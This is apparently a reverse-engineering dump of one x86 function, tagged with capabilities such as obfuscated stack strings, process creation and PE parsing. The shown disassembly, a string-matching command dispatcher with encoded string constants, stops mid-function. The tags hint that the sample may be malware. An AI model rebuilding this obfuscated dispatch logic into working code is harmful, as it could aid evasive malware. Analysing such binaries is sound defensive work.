Function at 0x522610
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57c055
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x288
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
sub esp, 0x18
mov dword [ebp - 0x34], esi
mov ecx, esp
mov dword [ebp - 0x50], 0
push 0x5c0778
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
mov edi, dword [ebx + 8]
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5226b0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522680
sub ecx, dword [ebp - 0x20]
je 0x5226b0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5226b0
cmp dword [edx + 0x14], 0x10
jb 0x52269b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5226b7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5226eb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5226e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5260d9
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x522703
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0808
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522760
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522730
sub ecx, dword [ebp - 0x20]
je 0x522760
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522760
cmp dword [edx + 0x14], 0x10
jb 0x52274b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522767
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52279b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522791
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5260de
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x522df7
sub esp, 0x18
mov ecx, esp
push 0x5c07f0
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522800
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5227d0
sub ecx, dword [ebp - 0x20]
je 0x522800
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522800
cmp dword [edx + 0x14], 0x10
jb 0x5227eb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522807
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52283b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522831
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5260e3
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5228ef
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.VWk3ZdC5LoVgQlySxdOCdRIVmBz0GpQCsizAFkQOOh4VBTncakUgAhcAFkTFJktK8CQ
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042db40
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042ef00
mov ecx, esi
call fcn.00445650
add esp, 0x18
mov ecx, edi
call fcn.0045e0a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x5260c1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x5228e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526115
push ecx
push edx
call fcn.00549ad4
add esp, 8
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0820
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522947
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522917
sub ecx, dword [ebp - 0x20]
je 0x522947
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522947
cmp dword [edx + 0x14], 0x10
jb 0x522932
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52294e
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522982
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522978
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5260e8
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x522a36
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.bFd2YRxd1fFzccpdVZ9kTCxUkNAQ4qARgbOPhgj8AyBUgfU46gFy4CRdQs6
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042db40
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042ef00
mov ecx, esi
call fcn.00445650
add esp, 0x18
mov ecx, edi
call fcn.0045e0a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x5260c1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x522a27
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526115
push ecx
push edx
call fcn.00549ad4
add esp, 8
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0838
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522a90
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522a60
sub ecx, dword [ebp - 0x20]
je 0x522a90
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522a90
cmp dword [edx + 0x14], 0x10
jb 0x522a7b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522a97
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522acb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522ac1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5260ed
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x522ae0
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041e1f0
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0970
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522b38
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522b08
sub ecx, dword [ebp - 0x20]
je 0x522b38
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522b38
cmp dword [edx + 0x14], 0x10
jb 0x522b23
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522b3f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522b73
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522b69
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5260f2
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x523129
sub esp, 0x18
mov ecx, esp
push 0x5c0988
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522bd5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522ba5
sub ecx, dword [ebp - 0x20]
je 0x522bd5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522bd5
cmp dword [edx + 0x14], 0x10
jb 0x522bc0
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522bdc
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522c10
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522c06
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5260f7
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x5231d1
sub esp, 0x18
mov ecx, esp
push 0x5c0a60
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522c72
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522c42
sub ecx, dword [ebp - 0x20]
je 0x522c72
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522c72
cmp dword [edx + 0x14], 0x10
jb 0x522c5d
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522c79
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522cad
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522ca3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5260fc
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x523277
sub esp, 0x18
mov ecx, esp
push 0x5c0790
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522d10
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522ce0
sub ecx, dword [ebp - 0x20]
je 0x522d10
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522d10
cmp dword [edx + 0x14], 0x10
jb 0x522cfb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522d17
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522d4b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522d41
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526101
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x522d5e
mov ecx, dword [esi + 0xc]
call fcn.0041ebd0
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0808
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522db6
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522d86
sub ecx, dword [ebp - 0x20]
je 0x522db6
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522db6
cmp dword [edx + 0x14], 0x10
jb 0x522da1
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522dbd
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522df1
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522de7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526106
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x522e06
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041e1f0
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c07f0
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522e60
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522e30
sub ecx, dword [ebp - 0x20]
je 0x522e60
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522e60
cmp dword [edx + 0x14], 0x10
jb 0x522e4b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522e67
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522e9b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522e91
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52610b
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x522f4f
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.TW5ppVTZMlCCU9yTElvLbRVLiJiUBAHgo6XBwcxDIhlLab28dZDCE5mBwcySPkwU2KA
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042db40
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042ef00
mov ecx, esi
call fcn.00445650
add esp, 0x18
mov ecx, edi
call fcn.0045e0a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x5260c1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x522f40
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526115
push ecx
push edx
call fcn.00549ad4
add esp, 8
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0820
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522fa7
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522f77
sub ecx, dword [ebp - 0x20]
je 0x522fa7
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522fa7
cmp dword [edx + 0x14], 0x10
jb 0x522f92
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522fae
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522fe2
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522fd8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526110
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x523090
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.ZDJOqZB8QnLxQUyEG5ejRElsHFwxd5OTsTYWyAAIC0VsoXkZftLw0KvEDMZ
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042db40
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042ef00
mov ecx, esi
call fcn.00445650
add esp, 0x18
mov ecx, edi
call fcn.0045e0a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x5260c1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x522f40
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526115
jmp 0x522f40
sub esp, 0x18
mov ecx, esp
push 0x5c0970
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5230e8
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5230b8
sub ecx, dword [ebp - 0x20]
je 0x5230e8
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5230e8
cmp dword [edx + 0x14], 0x10
jb 0x5230d3
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5230ef
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x523123
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523119
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52611a
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x523136
mov ecx, dword [esi + 0xc]
call fcn.004062d0
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0988
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523190
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523160
sub ecx, dword [ebp - 0x20]
je 0x523190
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523190
cmp dword [edx + 0x14], 0x10
jb 0x52317b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x523197
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5231cb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5231c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52611f
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5231de
mov ecx, dword [esi + 0xc]
call fcn.004065b0
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0a60
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523236
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523206
sub ecx, dword [ebp - 0x20]
je 0x523236
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523236
cmp dword [edx + 0x14], 0x10
jb 0x523221
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52323d
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x523271
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523267
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526124
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x523284
mov ecx, dword [esi + 0xc]
call fcn.0041f040
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0850
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5232e0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5232b0
sub ecx, dword [ebp - 0x20]
je 0x5232e0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5232e0
cmp dword [edx + 0x14], 0x10
jb 0x5232cb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5232e7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52331b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523311
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526129
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x523330
mov ecx, dword [esi + 0xc]
push 1
call fcn.00408f10
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0868
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523388
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523358
sub ecx, dword [ebp - 0x20]
je 0x523388
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523388
cmp dword [edx + 0x14], 0x10
jb 0x523373
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52338f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5233c3
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5233b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52612e
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5233d8
mov ecx, dword [esi + 0xc]
push 0
call fcn.00408f10
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0880
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523432
mov ecx, edi
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523400
sub ecx, esi
je 0x523432
mov esi, dword [edx + 0x10]
test esi, esi
je 0x523432
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x4c], esi
jb 0x52341d
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52343c
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x523470
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523466
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526133
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x523568
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5234b0
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.005265b0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
call fcn.0054eaad
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x50]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0055044e
add esp, 0x14
cmp esi, dword [ebp - 0x50]
je 0x526138
cmp dword [edi], 0x22
je 0x526142
mov ecx, dword [ebp - 0x20]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.004091f0
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x5260c1
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522f40
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52614c
jmp 0x522f40
sub esp, 0x18
mov ecx, esp
push 0x5c0730
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5235c5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523590
sub ecx, dword [ebp - 0x20]
je 0x5235c5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5235c5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5235b0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5235cc
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x523600
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5235f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526151
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x523711
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523640
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.005265b0
add esp, 8
lea ecx, [ebp - 0x1a0]
call fcn.00434fb0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
